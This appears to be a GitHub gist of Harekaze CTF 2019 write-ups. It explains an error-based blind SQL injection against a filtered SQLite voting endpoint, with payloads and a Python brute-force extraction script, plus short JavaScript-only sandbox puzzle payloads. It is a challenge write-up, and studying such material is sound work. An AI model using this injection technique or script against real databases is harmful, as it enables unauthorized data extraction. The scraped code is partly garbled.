Skip to content

Instantly share code, notes, and snippets.

Last active August 9, 2019 18:55
Show Gist options
  • Save terjanq/a571826c6bb08ae0dfa4ef57e03b5b72 to your computer and use it in GitHub Desktop.
Save terjanq/a571826c6bb08ae0dfa4ef57e03b5b72 to your computer and use it in GitHub Desktop.
Harekaze 2019 writeups by terjanq (

SQLite Voting

function is_valid($str) {
  $banword = [
    // dangerous chars
    // " % ' * + / < = > \ _ ` ~ -
    // whitespace chars
    // dangerous functions
    'blob', 'load_extension', 'char', 'unicode',
    '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
    'in', 'limit', 'order', 'union', 'join'
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  return true;

// request to SQLite db, I skipped is_valid($id)
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}"); 
if ($res === false) {
  die(json_encode(['error' => 'An error occurred while updating database']));

We can see that we've got a heavily filtered error-based blind sql injection.


First we got the length of the flag by enumerating through $LENGTH$ in the following payload:


I will explain the payload bit-by-bit later, but the flag was 38 characters long.

Then, we double hexed the flag so we can be sure that it only produces digits

sqlite> select hex('0123456789ABCDEF');

We also know that the length of the produced number is exactly 152-digit long.

You cannot pass integers bigger than 9223372036854775807 because they will get cast into floating numbers, but you can concatenate them as they were strings, e.g. 9223372036854775807||9223372036854775807 will produce 92233720368547758079223372036854775807. Thanks to this property we now can iterate over all composited 152-digit long $NUMBER$ and use the max(A, B) function which will return the bigger one.


We get the double hexed flag which is: 343836313732363536423631374136353433353434363742333433313644354633373330354636323333354633343546333537313643333133373333354636443334333533373333373237430



  • abs(-9223372036854775808) will cause integer overflow and hence throw an error
  • 0x8000000000000000 is hex-encoded -9223372036854775808
  • nullif(A,B) will return NULL if A equals B, returns A otherwise
  • ifnull(A,0x8000000000000000) will return 0x8000000000000000 if A is NULL, otherwise A is returned.
  • max(A,B) returns lexicographically greater string.
  • hex(hex(flag) "removes" all non-digit characters from flag


if (code && code.length < 200 && !/[^a-z().]/.test(code)) {
    try {
      const result = vm.runInNewContext(code, {}, { timeout: 500 });
      if (result === 1337) {
        output = process.env.FLAG;
      } else {
        output = 'nope';
    } catch (e) {
      output = 'nope';
  } else {
    output = 'nope';

We have to create a payload that when ran in the context will return 1337. My first solution was: which is 141 characters long. It uses factorization of 1337 which is 7*191

Then I improved it to: which is 118 characters long

Then I just was poking around and the best I got for 7*191 was: (90 characters)

However my best payload doesn't use the factorization: escape(escape(eval).repeat( and is only 85 characters long!

One could possibly bruteforce the shortest solution but no fun there! :)

splitline shared on discord a nice way to solve by joining 13 and 37 with the payload: eval(escape( (72)

I improved my best payload to: escape(escape().bold().repeat(escape(eval).length)).strike().length and that is only 67 characters long!

The flag: HarekazeCTF{sorry_about_last_year's_js_challenge...}

import requests
implemented by @cypis
base_url = ''
bin_pos = 0
bin_val = 2 ** bin_pos
bin_result = []
def split_by_n(seq, n):
while seq:
yield seq[:n]
seq = seq[n:]
def check_sql(raw_sql, match_with):
t = + '/vote.php', data={
'id': 'abs(ifnull(nullif({},{}),0x8000000000000000))'.format(
if t.text == '{"error":"An error occurred while updating database"}':
return True
return False
def get_sql_flag():
return '(SELECT(flag)from(flag))'
def get_hex(raw_sql):
return 'hex({})'.format(raw_sql)
def get_length(raw_sql):
return 'length({})'.format(raw_sql)
def get_max(left_raw, right_sql):
return 'max({},{})'.format(left_raw,right_sql)
def get_sql_split_number(big_int):
return '||'.join(list(split_by_n(str(big_int),4)))
max_numbers = 152
current_arr = list('9' + ('0' * max_numbers))
for pos_offset in range(0, max_numbers):
for next_char in '9876543210':
current_arr[pos_offset] = next_char
current_num = int(''.join(current_arr))
print('number:', current_num)
flag_sql = get_hex(get_hex(get_sql_flag()))
cur_num = get_sql_split_number(current_num)
raw_sql = get_max(
is_found = check_sql(raw_sql, cur_num)
if not is_found:
print('found better:', current_num)
# // flag: 343836313732363536423631374136353433353434363742333433313644354633373330354636323333354633343546333537313643333133373333354636443334333533373333373237430
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment